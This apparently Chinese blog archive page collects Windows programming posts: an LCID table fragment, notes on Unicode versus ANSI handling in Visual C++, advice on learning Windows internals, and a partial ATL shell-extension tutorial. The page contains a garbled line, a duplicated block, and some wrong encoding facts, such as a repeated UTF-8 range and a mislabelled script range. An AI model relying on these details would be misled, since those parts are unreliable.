西班牙语(巴拿马)

ESA

1252  (ANSI – 拉丁文 I)

6156

摩纳哥公国

法语(摩纳哥)

FRM

1252  (ANSI – 拉丁文 I)

7169

突尼斯

阿拉伯语(突尼斯)

ART

1256  (ANSI – 阿拉伯文)

7177

南非

英语(南非)

ENS

1252  (ANSI – 拉丁文 I)

7178

多米尼加共和国

西班牙语(多米尼加共和国)

ESD

1252  (ANSI – 拉丁文 I)

8193

阿曼

阿拉伯语(阿曼)

ARO

1256  (ANSI – 阿拉伯文)

8201

牙买加

英语(牙买加)

ENJ

1252  (ANSI – 拉丁文 I)

8202

委内瑞拉

西班牙语(委内瑞拉)

ESV

1252  (ANSI – 拉丁文 I)

9217

也门

阿拉伯语(也门)

ARY

1256  (ANSI – 阿拉伯文)

9225

加勒比海

英语(加勒比海)

ENB

1252  (ANSI – 拉丁文 I)

9226

哥伦比亚

西班牙语(哥伦比亚)

ESO

1252  (ANSI – 拉丁文 I)

10241

叙利亚

阿拉伯语(叙利亚)

ARS

1256  (ANSI – 阿拉伯文)

10249

伯利兹

英语(伯利兹)

ENL

1252  (ANSI – 拉丁文 I)

10250

秘鲁

西班牙语(秘鲁)

ESR

1252  (ANSI – 拉丁文 I)

11265

约旦

阿拉伯语(约旦)

ARJ

1256  (ANSI – 阿拉伯文)

11273

特立尼达和多巴哥

英语(特立尼达)

ENT

1252  (ANSI – 拉丁文 I)

11274

阿根廷

西班牙语(阿根廷)

ESS

1252  (ANSI – 拉丁文 I)

12289

黎巴嫩

阿拉伯语(黎巴嫩)

ARB

1256  (ANSI – 阿拉伯文)

12297

津巴布韦

英语(津巴布韦)

ENW

1252  (ANSI – 拉丁文 I)

12298

厄瓜多尔

西班牙语(厄瓜多尔)

ESF

1252  (ANSI – 拉丁文 I)

13313

科威特

阿拉伯语(科威特)

ARK

1256  (ANSI – 阿拉伯文)

13321

菲律宾共和国

英语(菲律宾)

ENP

1252  (ANSI – 拉丁文 I)

13322

智利

西班牙语(智利)

ESL

1252  (ANSI – 拉丁文 I)

14337

阿联酋

阿拉伯语(阿联酋)

ARU

1256  (ANSI – 阿拉伯文)

14346

乌拉圭

西班牙语(乌拉圭)

ESY

1252  (ANSI – 拉丁文 I)

15361

巴林

阿拉伯语(巴林)

ARH

1256  (ANSI – 阿拉伯文)

15370

巴拉圭

西班牙语(巴拉圭)

ESZ

1252  (ANSI – 拉丁文 I)

16385

卡塔尔

阿拉伯语(卡塔尔)

ARQ

1256  (ANSI – 阿拉伯文)

16394

玻利维亚

西班牙语(玻利维亚)

ESB

1252  (ANSI – 拉丁文 I)

17418

萨尔瓦多

西班牙语(萨尔瓦多)

ESE

1252  (ANSI – 拉丁文 I)

18442

洪都拉斯

西班牙语(洪都拉斯)

ESH

1252  (ANSI – 拉丁文 I)

19466

尼加拉瓜

西班牙语(尼加拉瓜)

ESI

1252  (ANSI – 拉丁文 I)

20490

波多黎各(美)

西班牙语(波多黎各(美))

ESU

1252  (ANSI – 拉丁文 I)

LCID取决于语言,在表中列出国家名只是为了增加趣味性。例如可以看到以色列还在使用古老的希伯来语。“希伯来语”的法文是hébreu,这个单词还有一个意思,就是“不能理解的东西”。

 

UNICODE环境设置

在安装Visual Studio时,在选择VC++时需要加入unicode选项,保证相关的库文件可以拷贝到system32下。

 

 

UNICODE编译设置:

C/C++, Preprocessor difinitions 去除_MBCS,加_UNICODE,UNICODE

ProjectSetting/link/output 中设置EntrywWinMainCRTStartup

反之为MBCSANSI)编译。

 

 

Unicode :宽字节字符集

 

 

1. 如何取得一个既包含单字节字符又包含双字节字符的字符串的字符个数?

可以调用Microsoft Visual C++的运行期库包含函数_mbslen来操作多字节(既包括单字节也包括双字节)字符串。

调用strlen函数,无法真正了解字符串中究竟有多少字符,它只能告诉你到达结尾的0之前有多少个字节。

 

 

2. 如何对DBCS(双字节字符集)字符串进行操作?

函数 描述

PTSTR CharNext LPCTSTR ; 返回字符串中下一个字符的地址

PTSTR CharPrev LPCTSTR, LPCTSTR ); 返回字符串中上一个字符的地址

BOOL IsDBCSLeadByte( BYTE ) 如果该字节是DBCS字符的第一个字节,则返回非0

 

 

3. 为什幺要使用Unicode

1 可以很容易地在不同语言之间进行数据交换。

2 使你能够分配支持所有语言的单个二进制.exe文件或DLL文件。

3 提高应用程序的运行效率。

Windows 2000是使用Unicode从头进行开发的,如果调用任何一个Windows函数并给它传递一个ANSI字符串,那幺系统首先要将字符串转换成Unicode,然后将Unicode字符串传递给操作系统。如果希望函数返回ANSI字符串,系统就会首先将Unicode字符串转换成ANSI字符串,然后将结果返回给你的应用程序。进行这些字符串的转换需要占用系统的时间和内存。通过从头开始用Unicode来开发应用程序,就能够使你的应用程序更加有效地运行。

Windows CE 本身就是使用Unicode的一种操作系统,完全不支持ANSI Windows函数

Windows 98 只支持ANSI,只能为ANSI开发应用程序。

Microsoft公司将COM16Windows转换成Win32时,公司决定需要字符串的所有COM接口方法都只能接受Unicode字符串。

 

 

4. 如何编写Unicode源代码?

Microsoft公司为Unicode设计了WindowsAPI,这样,可以尽量减少代码的影响。实际上,可以编写单个源代码文件,以便使用或者不使用Unicode来对它进行编译。只需要定义两个宏(UNICODE_UNICODE),就可以修改然后重新编译该源文件。

_UNICODE宏用于C运行期头文件,而UNICODE宏则用于Windows头文件。当编译源代码模块时,通常必须同时定义这两个宏。

 

 

5. Windows定义的Unicode数据类型有哪些?

数据类型 说明

WCHAR Unicode字符

PWSTR 指向Unicode字符串的指针

PCWSTR 指向一个恒定的Unicode字符串的指针

对应的ANSI数据类型为CHARLPSTRLPCSTR

ANSI/Unicode通用数据类型为TCHARPTSTR,LPCTSTR

 

 

6. 如何对Unicode进行操作?

字符集 特性 实例

ANSI 操作函数以str开头 strcpy

Unicode 操作函数以wcs开头 wcscpy

MBCS 操作函数以_mbs开头 _mbscpy

ANSI/Unicode 操作函数以_tcs开头 _tcscpyC运行期库)

ANSI/Unicode 操作函数以lstr开头 lstrcpyWindows函数)

所有新的和未过时的函数在Windows2000中都同时拥有ANSIUnicode两个版本。ANSI版本函数结尾以A表示;Unicode版本函数结尾以W表示。Windows会如下定义:

#ifdef UNICODE

#define CreateWindowEx CreateWindowExW

#else

#define CreateWindowEx CreateWindowExA

#endif // !UNICODE

 

 

7. 如何表示Unicode字符串常量?

字符集 实例

ANSI “string”

Unicode L“string”

ANSI/Unicode T(string)_TEXT(string)if( szError[0] == _TEXT(J) ){ }

 

 

8. 为什幺应当尽量使用操作系统函数?

这将有助于稍稍提高应用程序的运行性能,因为操作系统字符串函数常常被大型应用程序比如操作系统的外壳进程Explorer.exe所使用。由于这些函数使用得很多,因此,在应用程序运行时,它们可能已经被装入RAM

如:StrCatStrChrStrCmpStrCpy等。

 

 

9. 如何编写符合ANSIUnicode的应用程序?

1 将文本串视为字符数组,而不是chars数组或字节数组。

2 将通用数据类型(如TCHARPTSTR)用于文本字符和字符串。

3 将显式数据类型(如BYTEPBYTE)用于字节、字节指针和数据缓存。

4 TEXT宏用于原义字符和字符串。

5 执行全局性替换(例如用PTSTR替换PSTR)。

6 修改字符串运算问题。例如函数通常希望在字符中传递一个缓存的大小,而不是字节。这意味着不应该传递sizeof(szBuffer),而应该传递(sizeof(szBuffer)/sizeof(TCHAR)。另外,如果需要为字符串分配一个内存块,并且拥有该字符串中的字符数目,那幺请记住要按字节来分配内存。这就是说,应该调用

malloc(nCharacters *sizeof(TCHAR)),而不是调用malloc(nCharacters)

 

 

10. 如何对字符串进行有选择的比较?

通过调用CompareString来实现。

标志 含义

NORM_IGNORECASE 忽略字母的大小写

NORM_IGNOREKANATYPE 不区分平假名与片假名字符

NORM_IGNORENONSPACE 忽略无间隔字符

NORM_IGNORESYMBOLS 忽略符号

NORM_IGNOREWIDTH 不区分单字节字符与作为双字节字符的同一个字符

SORT_STRINGSORT 将标点符号作为普通符号来处理

 

 

11. 如何判断一个文本文件是ANSI还是Unicode

判断如果文本文件的开头两个字节是0xFF0xFE,那幺就是Unicode,否则是ANSI

 

 

12. 如何判断一段字符串是ANSI还是Unicode

IsTextUnicode进行判断。IsTextUnicode使用一系列统计方法和定性方法,以便猜测缓存的内容。由于这不是一种确切的科学方法,因此 IsTextUnicode有可能返回不正确的结果。

 

 

13. 如何在UnicodeANSI之间转换字符串?

Windows函数MultiByteToWideChar用于将多字节字符串转换成宽字符串;函数WideCharToMultiByte将宽字符串转换成等价的多字节字符串。

 

 

14. UnicodeDBCS之间的区别

Unicode使用(特别在C程序设计语言环境里)“宽字符集”。「Unicode中的每个字符都是16位宽而不是8位宽。」在Unicode中,没有单单使用8位数值的意义存在。相比之下,在“双位组字符集”中我们仍然处理8位数值。有些位组自身定义字符,而某些位组则显示需要和另一个位组共同定义一个字符。

处理DBCS字符串非常杂乱,但是处理Unicode文字则像处理有秩序的文字。您也许会高兴地知道前128Unicode字符(16位代码从0×00000×007F)就是ASCII字符,而接下来的128Unicode字符(代码从0×00800×00FF)是ISO 8859-1ASCII的扩展。Unicode中不同部分的字符都同样基于现有的标准。这是为了便于转换。希腊字母表使用从0×03700×03FF的代码,斯拉夫语使用从0×04000×04FF的代码,美国使用从0×05300×058F的代码,希伯来语使用从0×05900×05FF的代码。中国、日本和韩国的象形文字(总称为CJK)占用了从0×30000×9FFF的代码。Unicode的最大好处是这里只有一个字符集,没有一点含糊。

 

 

15.衍生标准

Unicode是一个标准。UTF-8是其概念上的子集,UTF-8是具体的编码标准。而UNICODE是所有想达到世界统一编码标准的标准。UTF-8标准就是UnicodeISO10646)标准的一种变形方式,

UTF的全称是:Unicode/UCS Transformation Format,其实有两种UTF,一种是UTF-8,一种是UTF-16

不过UTF-16使用较伲涠杂叵等缦拢?/span>

Unicode中编码为 0000 – 007F UTF-8 中编码形式为: 0xxxxxxx

Unicode中编码为 0080 – 07FF UTF-8 中编码形式为: 110xxxxx 10xxxxxx

Unicode中编码为 0000 – 007F UTF-8 中编码形式为: 1110xxxx 10xxxxxx 10xxxxxx

 

 

utf-8unicode的一个新的编码标准,其实unicode有过好几个标准.我们知道一直以来使用的unicode字符内码都是16,它实际上还不能把全世界的所有字符编在一个平面系统,比如中国的藏文等小语种,所以utf-8扩展到了32,也就是说理论在utf-8中可容纳二的三十二次方个字符. UNICODE的思想就是想把所有的字符统一编码,实现一个统一的标准.big5gb都是独立的字符集,这也叫做远东字符集,把它拿到德文版的WINDOWS上可能将会引起字符编码的冲突….早期的WINDOWS默认的字符集是ANSI.notepad中输入的汉字是本地编码,但在NT/2000内部是可以直接支持UNICODE的。notepad.exeWIN9598中都是ANSI字符,NT中则是UNICODE.ANSIUNICODE可以方便的实现对应映射,也就是转换 ASCII8位范围内的字符集,对于范围之外的字符如汉字它是无法表达的。unicode16位范围内的字符集,对于不同地区的字符分区分配,unicode是多个IT巨头共同制定的字符编码标准。如果在unicode环境下比如WINDOWS NT上,一个字符占两字节16位,而在ANSI环境下如WINDOWS98下一个字符占一个字节8.Unicode字符是16位宽,最多允许65,535字符,数据类型被称为WCHAR

对于已有的ANSI字符,unicode简单的将其扩展为16位:比如ANSI"A"=0×43,则对应的UNICODE

"A"= 0×0043

ASCII用七存放128个字符,ASCII是一个真正的美国标准,所以它不能满足其他国家的需要,例如斯拉夫语的字母和汉字于是出现了Windows ANSI字符集,是一种扩展的ASCII,8位存放字符,128位仍然存放原来的ASCII,

而高128位加入了希腊字母等

if def UNICODE

  TCHAR = wchar

else

  TCHAR = char

你需要在Project\Settings\C/C++\Preprocesser definitions中添加UNICODE_UNICODE

UINCODE,_UNICODE都要定义。不定义_UNICODE的话,用SetText(HWND,LPCTSTR),将被解释为SetTextA(HWND,LPTSTR),这时API将把你给的Unicode字符串看作ANSI字符串,显示乱码。因为windows API是已经编译好存在于dll中的,由于不管UNICODE还是ANSI字符串,都被看作一段buffer,"0B A3 00 35 24 3C 00 00"如果按ANSI读,因为ANSI字串是以‘\0′结束的,所以只能读到两字节"0B A3 \0",如果按UNICODE读,将完整的读到‘\0\0′结束。

由于UNICODE没有额外的指示位,所以系统必须知道你提供的字串是哪种格式。此外,UNICODE好象是ANSI C++规定的,_UNICODEwindows SDK提供的。如果不编写windows程序,可以只定义UNICODE

 

 

 

 

 

 

开发过程:

围绕着文件读写、字符串处理展开。文件主要有两种:.txt.ini文件

1.    unicode和非unicode环境下字符串做不同处理的,那么需要参考以上910两条,以适应不同环境得字符串处理要求。

对文件读写也一样。只要调用相关接口函数时,参数中的字符串前都加上_TEXT等相关宏。如果写成的那个文件需要是unicode格式保存的,那么在创建文件时需要加入一个字节头。

CFile file;

    WCHAR szwBuffer[128];

   

    WCHAR *pszUnicode = L"Unicode string\n"; // unicode string

    CHAR *pszAnsi = "Ansi string\n"; // ansi string

    WORD wSignature = 0xFEFF;

   

    file.Open(TEXT("Test.txt"), CFile::modeCreate|CFile::modeWrite);

   

    file.Write(&wSignature, 2);

   

    file.Write(pszUnicode, lstrlenW(pszUnicode) * sizeof(WCHAR));

    // explicitly use lstrlenW function

   

    MultiByteToWideChar(CP_ACP, 0, pszAnsi, -1, szwBuffer, 128);

   

    file.Write(szwBuffer, lstrlenW(szwBuffer) * sizeof(WCHAR));

   

file.Close();

//以上这段代码在unicode和非unicode环境下都有效。这里显式的指明用Unicode来进行操作。

2.    在非unicode环境下,缺省调用的都是ANSI格式的字符串,此时TCHAR转换为CHAR类型的,除非显式定义WCHAR。所以在这个环境下,如果读取unicode文件,那么首先需要移动2个字节,然后读取得字符串需要用MultiByteToWideChar来转换,转换后字符串信息才代表unicode数据。

3.    unicode环境下,缺省调用得都是unicode格式得字符串,也就是宽字符,此时TCHAR转换为WCHAR,相关得API函数也都调用宽字符类型的函数。此时读取unicode文件也和上面一样,但是读取得数据是WCHAR的,如果要转换成ANSI格式,需要调用WideCharToMultiByte。如果读取ANSI的,则不用移动两个字节,直接读取然后视需要转换即可。

 

 

某些语言(如韩语)必须在unicode环境下才能显示,这种情况下,在非unicode环境下开发,就算用字符串函数转换也不能达到显示文字的目的,因为此时调用得API函数是用ANSI的(虽然底层都是用UNICODE处理但是处理结果是按照程序员调用的API来显示的)。所以必须用unicode来开发。

Unicode中编码为 0000 – 007F UTF-8 中编码形式为: 0xxxxxxx

Unicode中编码为 0080 – 07FF UTF-8 中编码形式为: 110xxxxx 10xxxxxx

Unicode中编码为 0000 – 007F UTF-8 中编码形式为: 1110xxxx 10xxxxxx 10xxxxxx

 

 

utf-8unicode的一个新的编码标准,其实unicode有过好几个标准.我们知道一直以来使用的unicode字符内码都是16,它实际上还不能把全世界的所有字符编在一个平面系统,比如中国的藏文等小语种,所以utf-8扩展到了32,也就是说理论在utf-8中可容纳二的三十二次方个字符. UNICODE的思想就是想把所有的字符统一编码,实现一个统一的标准.big5gb都是独立的字符集,这也叫做远东字符集,把它拿到德文版的WINDOWS上可能将会引起字符编码的冲突….早期的WINDOWS默认的字符集是ANSI.notepad中输入的汉字是本地编码,但在NT/2000内部是可以直接支持UNICODE的。notepad.exeWIN9598中都是ANSI字符,NT中则是UNICODE.ANSIUNICODE可以方便的实现对应映射,也就是转换 ASCII8位范围内的字符集,对于范围之外的字符如汉字它是无法表达的。unicode16位范围内的字符集,对于不同地区的字符分区分配,unicode是多个IT巨头共同制定的字符编码标准。如果在unicode环境下比如WINDOWS NT上,一个字符占两字节16位,而在ANSI环境下如WINDOWS98下一个字符占一个字节8.Unicode字符是16位宽,最多允许65,535字符,数据类型被称为WCHAR

对于已有的ANSI字符,unicode简单的将其扩展为16位:比如ANSI"A"=0×43,则对应的UNICODE

"A"= 0×0043

ASCII用七存放128个字符,ASCII是一个真正的美国标准,所以它不能满足其他国家的需要,例如斯拉夫语的字母和汉字于是出现了Windows ANSI字符集,是一种扩展的ASCII,8位存放字符,128位仍然存放原来的ASCII,

而高128位加入了希腊字母等

if def UNICODE

  TCHAR = wchar

else

  TCHAR = char

你需要在Project\Settings\C/C++\Preprocesser definitions中添加UNICODE_UNICODE

UINCODE,_UNICODE都要定义。不定义_UNICODE的话,用SetText(HWND,LPCTSTR),将被解释为SetTextA(HWND,LPTSTR),这时API将把你给的Unicode字符串看作ANSI字符串,显示乱码。因为windows API是已经编译好存在于dll中的,由于不管UNICODE还是ANSI字符串,都被看作一段buffer,"0B A3 00 35 24 3C 00 00"如果按ANSI读,因为ANSI字串是以‘\0′结束的,所以只能读到两字节"0B A3 \0",如果按UNICODE读,将完整的读到‘\0\0′结束。

由于UNICODE没有额外的指示位,所以系统必须知道你提供的字串是哪种格式。此外,UNICODE好象是ANSI C++规定的,_UNICODEwindows SDK提供的。如果不编写windows程序,可以只定义UNICODE

 

 

 

 

 

 

开发过程:

围绕着文件读写、字符串处理展开。文件主要有两种:.txt.ini文件

1.    unicode和非unicode环境下字符串做不同处理的,那么需要参考以上910两条,以适应不同环境得字符串处理要求。

对文件读写也一样。只要调用相关接口函数时,参数中的字符串前都加上_TEXT等相关宏。如果写成的那个文件需要是unicode格式保存的,那么在创建文件时需要加入一个字节头。

CFile file;

    WCHAR szwBuffer[128];

   

    WCHAR *pszUnicode = L"Unicode string\n"; // unicode string

    CHAR *pszAnsi = "Ansi string\n"; // ansi string

    WORD wSignature = 0xFEFF;

   

    file.Open(TEXT("Test.txt"), CFile::modeCreate|CFile::modeWrite);

   

    file.Write(&wSignature, 2);

   

    file.Write(pszUnicode, lstrlenW(pszUnicode) * sizeof(WCHAR));

    // explicitly use lstrlenW function

   

    MultiByteToWideChar(CP_ACP, 0, pszAnsi, -1, szwBuffer, 128);

   

    file.Write(szwBuffer, lstrlenW(szwBuffer) * sizeof(WCHAR));

   

file.Close();

//以上这段代码在unicode和非unicode环境下都有效。这里显式的指明用Unicode来进行操作。

2.    在非unicode环境下,缺省调用的都是ANSI格式的字符串,此时TCHAR转换为CHAR类型的,除非显式定义WCHAR。所以在这个环境下,如果读取unicode文件,那么首先需要移动2个字节,然后读取得字符串需要用MultiByteToWideChar来转换,转换后字符串信息才代表unicode数据。

3.    unicode环境下,缺省调用得都是unicode格式得字符串,也就是宽字符,此时TCHAR转换为WCHAR,相关得API函数也都调用宽字符类型的函数。此时读取unicode文件也和上面一样,但是读取得数据是WCHAR的,如果要转换成ANSI格式,需要调用WideCharToMultiByte。如果读取ANSI的,则不用移动两个字节,直接读取然后视需要转换即可。

 

 

某些语言(如韩语)必须在unicode环境下才能显示,这种情况下,在非unicode环境下开发,就算用字符串函数转换也不能达到显示文字的目的,因为此时调用得API函数是用ANSI的(虽然底层都是用UNICODE处理但是处理结果是按照程序员调用的API来显示的)。所以必须用unicode来开发。


2005年05月31日

探索Windows的内部机,分析Windows各种系统机能的实现方式,并不那么难。只要有一定的基础就可以开始这方面的学习。以我的学习经历来说,我觉得在开始深入学习Windows之前,最好有如下的基础:

1.         熟练使用C语言   你至少要对C中的指针了如指掌,知道如何使用指针访问数组。知道数组并不是仅可通过下标来访问的。如果你看过很多遍《C缺陷和陷阱》并认为这本书很棒。那就太好了。

 

 

2.         一定的汇编基础   了解基本的汇编语句,对x86架构的汇编指令有基本的了解。如果在学校认真学习过汇编语言这门课,那么就足够了。在深入学习Windows时,你会遇到不少汇编代码,很多时候你需要使用一些工具来反编译一些东西,此时你汇编水平的高低就直接有影响了。

 

 

3.         Windows API很熟悉  可以直接用API开发小规模的程序,了解Windows的消息机制,至少要看过《Windows程序设计》(上、下),如果深入学习过《Windows核心编程》那就更好。

 

 

4.         掌握基本的数据结构   至少应该达到能很容易的用C实现一个双向链表吧?基本上掌握了《数据结构》这门课,就差不多了。否则,学习中遇到的很多复杂结构,将会使你陷入云雾里,不知如何下手。

 

 

5.         学习过《操作系统》  对处理器调度、虚拟内存、I/O设备管理有基本的认识。知道什么是中断,引入中断的目的对CPU的工作方式有基本了解。这门课算是总的理论基础课了。你对这门课的掌握程度将直接影响你的学习进度,尤其是你要看《Windows Internals 4th》这本书时。

 

 

6.         对面向对象有一定的了解  

 

 

上面是一些基本的硬性要求,下面的是一些软性要求:

1.         要经常问:为什么?   没有质疑的精神,探索从何而言?

2.         要有耐心    学习是一个较长的过程,探索Windows内部时,有时确实让人很有挫折感,这时千万不要急躁,耐心才能保证你终有所成。

3.         要细心      这个。。。。不用说了吧?

4.         要多思考   不要把书中内容当作金科玉律。

5.         要多总结   这样知识才能变成自己的。

 

 

当然,有一本好书,也是必须的。我推荐如下:

Inside Windows 2000》或者《Windows Internals 4th

Undocumented Windows 2000 Secrets

 

 

或许有人认为没有必要探索Windows的内部机制,这个问题仁者见仁、智者见智,不过我相信你如果对Windows的内部机制有很深的了解,那么你一定能写出更高效、更能利用系统优势的程序来。并且,当程序出现Bug时,我相信你更有把握解决它们。知其然,而不知其所以然的感觉,确实很糟J

 

 

上述仅是个人所见,不足之处还请多多指教。


 

(本文根据《Windows Shell扩展编程完全指南》改写)

开始编写上下文菜单 它该做些什么?
开头先让我们做简单一些, 只弹出一个对话框以表明当前的扩展能够正常地工作.
我们把扩展关联到 .TXT 文件, 因此当用户右键单击文本文件对象时扩展就会被调用
.

使用 AppWizard 开始
好吧, 让我们开始吧! 什么? 我还没告诉你怎样使用那些神秘的 shell 扩展接口?
别着急, 我会边进行边解释的。

我觉得先解释一下一个概念再紧接着说明示例代码,对理解例子程序会更简单一些. 当然我也可以把所有的东西都先解释完,然后再解释代码, 但我觉得这样做不能吸引人的注意力。不管怎么样, VC开火,开始!

运行AppWizard,生成一个名为SimpleExt ATL COM 工程. 保留所有默认的设置选项,点击”完成”
.
现在我们已经有了一个空的 ATL工程,它可以编译并生成一个 DLL, 但我们还需要添加Shell扩展的 COM 对象
.
ClassView , 右击 SimpleExt classes 条目, 选择 New ATL Object.

ATL Object Wizard, 第一页默认已经选择了 Simple Object , 所以单击 Next 即可.
在第二页中, Short Name 文本框里输入 SimpleShlExt ,点击 OK. (其余的文本框会自动填充完
.)
这样就创建了一个名为 CSimpleShlExt 的类,其包含了实现COM对象最基本的代码. 我们将在这个类中加入我们自己的代码
.

初始化接口
当我们的shell扩展被加载时, Explorer 将调用我们所实现的COM对象的 QueryInterface() 函数以取得一个 IShellExtInit 接口指针.
该接口仅有一个方法 Initialize(), 其函数原型为:

HRESULT IShellExtInit::Initialize ( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hProgID );


Explorer
使用该方法传递给我们各种各样的信息.
PidlFolder
是用户所选择操作的文件所在的文件夹的 PIDL 变量. (一个 PIDL [指向ID 列表的指针] 是一个数据结构,它唯一地标识了在Shell命名空间的任何对象, 一个Shell命名空间中的对象可以是也可以不是真实的文件系统中的对象
.)
pDataObj
是一个 IDataObject 接口指针,通过它我们可以获取用户所选择操作的文件名。

hProgID
是一个HKEY 注册表键变量,可以用它获取我们的DLL的注册数据.
在这个简单的扩展例子中, 我们将只使用到 pDataObj 参数.

要添加这个接口进 COM 对象, 先打开SimpleShlExt.h 文件, 然后加入下列标红的代码:

#include "shlobj.h"
#include "comdef.h"

class ATL_NO_VTABLE CSimpleShlExt :
public CComObjectRootEx,
public CComCoClass,
public IDispatchImpl,
public IShellExtInit

BEGIN_COM_MAP(CSimpleShlExt)
COM_INTERFACE_ENTRY(ISimpleShlExt)
COM_INTERFACE_ENTRY(IDispatch)
COM_INTERFACE_ENTRY(IShellExtInit)
END_COM_MAP()

COM_MAP是ATL实现 QueryInterface()机制的宏,它包含的列表告诉ATL其它外部程序用QueryInterface()能从我们的 COM对象获取哪些接口.
接着,在类声明里, 加入Initialize()的函数原型.
另外我们需要一个变量来保存文件名:

protected:
TCHAR m_szFile [MAX_PATH];
public:
// IShellExtInit
STDMETHOD(Initialize)(LPCITEMIDLIST, LPDATAOBJECT, HKEY);

然后, 在 SimpleShlExt.cpp 文件中, 加入该函数方法的实现定义:

HRESULT CSimpleShlExt::Initialize ( LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hProgID )

我们要做的是取得当前鼠标所在的窗口,并把它和桌面上的ListView

做比较,如果二者不同,则鼠标是在其他Dictionary上点击,不添加

菜单,直接返回:

{
         HWND Wnd;

         Wnd=::GetDesktopWindow();

         Wnd=FindWindowEx(Wnd, 0, "Progman", NULL);

         Wnd = ::FindWindowEx(Wnd, 0, "SHELLDLL_DefView", NULL);

         Wnd = ::FindWindowEx(Wnd, 0, "SysListView32", NULL);

 

         POINT Point;

         ::GetCursorPos(&Point);

 

         if(::WindowFromPoint(Point)!=Wnd)

                   return E_INVALIDARG;

 

         return S_OK;

}


要是我们返回 E_INVALIDARG, Explorer 将不会继续调用以后的扩展代码.
要是返回 S_OK, Explorer 将再一次调用QueryInterface() 获取另一个我们下面就要添加的接口指针
: IContextMenu.

与上下文菜单交互的接口

一旦 Explorer 初始化了扩展,它就会接着调用 IContextMenu 的方法让我们添加菜单项, 提供状态栏上的提示, 并响应执行用户的选择.

添加IContextMenu 接口到Shell扩展类似于上面IshellExtInit接口的添加 .打开 SimpleShlExt.h,添加下列标红的代码:

class ATL_NO_VTABLE CSimpleShlExt :
public CComObjectRootEx,
public CComCoClass,
public IDispatchImpl,
public IShellExtInit,
public IContextMenu

{
BEGIN_COM_MAP(CSimpleShlExt)
COM_INTERFACE_ENTRY(ISimpleShlExt)
COM_INTERFACE_ENTRY(IDispatch)
COM_INTERFACE_ENTRY(IShellExtInit)
COM_INTERFACE_ENTRY(IContextMenu)

END_COM_MAP()


添加 IContextMenu 方法的函数原型:

public:
// IContextMenu
STDMETHOD(GetCommandString)(UINT, UINT, UINT*, LPSTR, UINT);
STDMETHOD(InvokeCommand)(LPCMINVOKECOMMANDINFO);
STDMETHOD(QueryContextMenu)(HMENU, UINT, UINT, UINT, UINT);


修改上下文菜单 IContextMenu 有三个方法.
第一个是 QueryContextMenu(), 它让我们可以修改上下文菜单. 其原型为:

HRESULT IContextMenu::QueryContextMenu ( HMENU hmenu, UINT uMenuIndex, UINT uidFirstCmd, UINT uidLastCmd, UINT uFlags );


hmenu
上下文菜单句柄.
uMenuIndex
是我们应该添加菜单项的起始位置
.
uidFirstCmd
uidLastCmd 是我们可以使用的菜单命令ID值的范围
.
uFlags
标识了Explorer 调用QueryContextMenu()的原因
,
这我以后会说到的.

而返回值根据你所查阅的文档的不同而不同.
Dino Esposito
的书中说返回值是你所添加的菜单项的个数
.
VC6.0所带的MSDN 又说它是我们添加的最后一个菜单项的命令ID加上
1.
而最新的 MSDN 又说
:
将返回值设为你为各菜单项分配的命令ID的最大差值,加上
1.
例如, 假设 idCmdFirst 设为5,而你添加了三个菜单项 ,命令ID分别为 5, 7,
8.
这时返回值就应该是:
MAKE_HRESULT(SEVERITY_SUCCESS, 0, 8 – 5 + 1).

我是一直按 Dino 的解释来做的, 而且工作得很好
.
实际上, 他的方法与最新的 MSDN 是一致的, 只要你严格地使用 uidFirstCmd作为第一个菜单项的ID,再对接续的菜单项ID每次加
1.

我们暂时的扩展仅加入一个菜单项,所以 QueryContextMenu() 非常简单
:

HRESULT CSimpleShlExt::QueryContextMenu ( HMENU hmenu,UINT uMenuIndex, 
UINT uidFirstCmd, UINT uidLastCmd, UINT uFlags )
{          


     // 如果标志包含 CMF_DEFAULTONLY 我们不作任何事情.


     if ( uFlags & CMF_DEFAULTONLY )


      {


         return MAKE_HRESULT ( SEVERITY_SUCCESS, FACILITY_NULL, 0 );


       }


             


       InsertMenu ( hmenu, uMenuIndex, MF_BYPOSITION, uidFirstCmd, _T("SimpleShlExt Test Item") );


       return MAKE_HRESULT ( SEVERITY_SUCCESS, FACILITY_NULL, 1 );


 }


首先我们检查 uFlags.
你可以在 MSDN中找到所有标志的解释, 但对于上下文菜单扩展而言, 只有一个值是重要的
: CMF_DEFAULTONLY.
该标志告诉Shell命名空间扩展保留默认的菜单项,这时我们的Shell扩展就不应该加入任何定制的菜单项,这也是为什么此时我们要返回 0 的原因
.
如果该标志没有被设置, 我们就可以修改菜单了 (使用 hmenu 句柄), 并返回 1 告诉Shell我们添加了一个菜单项.

在状态栏上显示提示帮助

下一个要被调用的IContextMenu 方法是 GetCommandString(). 如果用户是在浏览器窗口中右击文本文件,或选中一个文本文件后单击文件菜单时,状态栏会显示提示帮助.
我们的 GetCommandString() 函数将返回一个帮助字符串供浏览器显示
.

GetCommandString()
的原型是
:

HRESULT IContextMenu::GetCommandString ( UINT idCmd, UINT uFlags, UINT *pwReserved, LPSTR pszName, UINT cchMax );

idCmd 是一个以0为基数的计数器,标识了哪个菜单项被选择.
因为我们只有一个菜单项, 所以idCmd 总是0. 但如果我们添加了3个菜单项, idCmd 可能是 0, 1,
2.
uFlags
是另一组标志(我以后会讨论到的)
.
PwReserved
可以被忽略
.
pszName
指向一个由Shell拥有的缓冲区,我们将把帮助字符串拷贝进该缓冲区
.
cchMax
是该缓冲区的大小
.
返回值是S_OK E_FAIL.

GetCommandString() 也可以被调用以获取菜单项的动作( "verb") .
verb
是个语言无关性字符串,它标识一个可以加于文件对象的操作。

ShellExecute()
的文档中有详细的解释, 而有关verb的内容足以再写一篇文章, 简单的解释是:verb 可以直接列在注册表中( "open" "print"等字符串), 也可以由上下文菜单扩展创建. 这样就可以通过调用ShellExecute()执行实现在Shell扩展中的代码.

不管怎样, 我说了这多只是为了解释清楚GetCommandString() 的作用
.
如果 Explorer 要求一个帮助字符串,我们就提供给它. 如果 Explorer 要求一个verb, 我们就忽略它. 这就是 uFlags 参数的作用
.
如果 uFlags 设置了GCS_HELPTEXT , Explorer 是在要求帮助字符串. 而且如果 GCS_UNICODE 被设置, 我们就必须返回一个Unicode字符串
.

我们的 GetCommandString() 如下
:

#include "atlconv.h"


// 为使用 ATL 字符串转换宏而包含的头文件


             


HRESULT CSimpleShlExt::GetCommandString( UINT idCmd, UINT uFlags,
UINT* pwReserved, LPSTR pszName, UINT cchMax )
 {


              USES_CONVERSION;

